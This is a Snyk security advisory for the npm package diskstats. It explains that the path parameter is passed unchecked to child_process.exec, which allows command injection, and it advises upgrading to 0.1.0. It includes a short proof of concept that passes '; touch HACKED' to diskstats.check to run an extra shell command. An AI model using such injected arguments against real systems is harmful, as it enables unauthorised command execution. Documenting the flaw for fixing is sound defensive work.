Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade diskstats
to version 0.1.0 or higher.
diskstats is a library that uses df to pull disk information such as free space & inode utilization on your system.
Affected versions of this package are vulnerable to Command Injection. The path
parameter is used to build the command that is passed to the child_process.exec
function without any check.
create a directory for testing
mkdir poc
cd poc/
install diskstats module:
npm i diskstats
create the following PoC JavaScript file (poc.js):
const diskstats = require('diskstats');
diskstats.check('; touch HACKED', (err, results) => {});
make sure that the HACKED file does not exist:
ls
execute the poc.js file:
node poc.js
the HACKED file is created:
ls